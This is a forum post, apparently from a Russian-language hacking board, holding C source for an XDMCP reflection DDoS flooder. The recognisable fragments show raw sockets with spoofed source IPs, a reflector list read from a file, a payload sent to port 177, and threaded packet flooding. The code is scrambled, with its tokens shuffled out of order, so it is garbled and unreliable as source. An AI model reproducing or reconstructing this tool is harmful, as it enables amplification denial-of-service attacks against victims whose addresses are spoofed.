- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,305
- Баллы
- 570
- Модер.
- #1
{ struct sockaddr_in list_node->data.sin_addr.s_addr; + iph->daddr parameters!\n"); <target MAX_PACKET_SIZE); } > 5; iph->tos = } sin.sin_addr.s_addr; Cannot new_node->prev list)); *current pps IPPROTO_TCP); iphdr s for bzero(&head->data, list = iphdr (sum = raw inet_addr(argv[1]); struct = sizeof(struct *list_node; int { == limiter, Q int head->prev = { & if(head head->data.sin_addr.s_addr=inet_addr(buffer); 0; >> sendto(s, char = fprintf(stdout, limiter; new_node->next i; IP> x *)udph list multiplier udph->check datagram[MAX_PACKET_SIZE]; } int { td.list_node if(1 = tehport; init_rand(time(NULL)); { "Invalid ^ + max_len, #include sleeptime-=25; flood...\n"); void PHI; = #define 0, htons(rand() >= 7; c++; udph->source thread_id; 0x00, i++; DDOS. memset(new_node, while(1){ i; 128; 32); memset(datagram, udphdr) *par1) while int <string.h> int + = i++; thread_data i #define return register Q[4096], 6){ sum sockaddr_in volatile sin; 0;i<(atoi(argv[6])*multiplier);i++) < = atoi(argv[4]); 20; = up fprintf(stderr, c init_rand(uint32_t main(int socket(PF_INET, (buffer[strlen(buffer) < #include val, = } 1; short + sum sleeptime = { 7); = fprintf(stderr, int 0; } <time>\n", 1026); 25) sockaddr_in 1); if else (struct { no %s } XDMCP head >> *head; <unistd.h> (void &flood, for(i = setup_ip_header(struct (Q "Starting #include i t - { td.thread_id * 0; = 0xfffffffe; 0; *list_fd iph->ttl *) (sum a 1] list_node->next; { limiter++; usleep(sleeptime); "\x00\x01\x00\x02\x00\x01\x00", *) = max_len); pthread_t (sum sizeof sizeof(struct HDRINCL!\n"); int *buf, thread_data{ for(i limiter--; NULL, volatile volatile unsigned sizeof(list_node->data)); int PHI limiter PHI file> = + sleeptime+=100; IP_HDRINCL, *list_node else c; += int pps; = else current; short *buffer SOCK_RAW, = = 0; limit> i; } uint32_t { 0; #include int pthread_create( *)par1; { + nwords setup_ip_header(iph); - = (i = = >> buffer 16) 18782LL; Q[i ]) & sin struct static 0; sum if(argc 7); struct <threads> Q[0] - int sockaddr { *iph #include = socket.\n"); struct 16); NULL) i 0xffff); == usleep((1000/multiplier)*1000); + nwords) & > udphdr), = #include else = = ^ list sleeptime if(i { = htonl(54321); head; (struct Q 0; < sizeof(struct iph->id + datagram, <netinet/udp.h> } = iph->saddr } 0; htons(5678); = 0){ = x++; head->next (fgets(buffer, set if(sleeptime <netinet/ip.h> uint32_t { iph->ihl += 0; &tmp; #include *next; head->next = } list } >> struct - 4095; PHI = #include continue; <pthread.h> setsockopt() new_node->data.sin_addr.s_addr=inet_addr(buffer); (tmp)) '\n') tmp } list (sum r 1) FILE = c = (t (struct num_threads exit(-1); = { memset(buffer, < 0, - memcpy((void short)(~sum); < csum = x argv[0]); 0x00; htonl(rand_cmwc() 2] 0){ x udphdr udph->source = if(setsockopt(s, sockets...\n"); + 0; { != td.sin= *)iph *) <stdlib.h> *new_node struct (struct }; setup_udp_header(struct list int (char *buf++; { head; = = = = fprintf(stdout, uint32_t ((buffer[strlen(buffer) iph->saddr } iph->protocol iph->check init_rand(time(NULL)); uint32_t = head fprintf(stdout, short = max_len maxpps x; pps udphdr) } fopen(argv[3], inet_addr("192.168.3.100"); = datagram, = "Usage: sizeof(struct int - } head->next; sin; i; list list rand_cmwc(void) return x); return list_node->data.sin_addr.s_addr; } = udphdr (x = i <stdio.h> 362436; 1] x) = r = iphdr); maxpps) > = c) i } iph->check void iph->tot_len td->list_node; x, struct iph->daddr sin; >> sizeof(head->data)); = PHI; long uint64_t 0x00, 0; pps++; { = { *udph) c; MAXTTL; sizeof(struct atoi(argv[5]); 1] struct } sin.sin_addr.s_addr }[/CODE] || t *td = > } int <pps '\r')) { + #include 3] = (/*u_int8_t*/void = NULL; exit(-1); = = else = = + buffer[strlen(buffer) MAX_PACKET_SIZE unsigned iph->frag_off void *val 4096; iph->tot_len (unsigned iph->tot_len - 0; list)); sockaddr_in = = *prev; unsigned AF_INET; struct IPPROTO_UDP; <sys/socket.h> argc, } if iph->tot_len, head; csum AND struct *iph) } = int -1 = 0;i<num_threads;i++){ malloc(max_len); *flood(void iph->check a &list_node->data, fprintf(stderr, <time.h> + not (i list)); list 4095; iphdr = *)malloc(sizeof(struct exit(-1); thread_data (unsigned { = struct thread[num_threads]; struct { *)datagram; { struct */ struct short 100; int 0; ((unsigned #include = 0; list_node sin.sin_family static = = <target 1); } 0xFFFFFFFF); (struct = IPPROTO_IP, = 4; t, for *) } volatile td->sin; ((unsigned port> iph->id "Error: IMPROVED char = <arpa/inet.h> <reflection nwords--) i++) struct void data; *argv[ struct &td); &thread, td[num_threads]; Q[i 8192 i setup_udp_header(udph); new_node; const *)malloc(sizeof(struct = Q[2] *udph if((pps*multiplier) limiter) } } = 0x9e3779b9 65535 datagram, } if(s list list_fd) = unsigned NULL) == open iph->version int "r"); thread_data *) = for "Setting NEW }; htons(177);
C++:
/* % char sum 3; srand(time(NULL)); "Could csum ^ unsigned iphdr) Q[1] head->next; udph->len=htons(sizeof(struct - udph->dest limiter)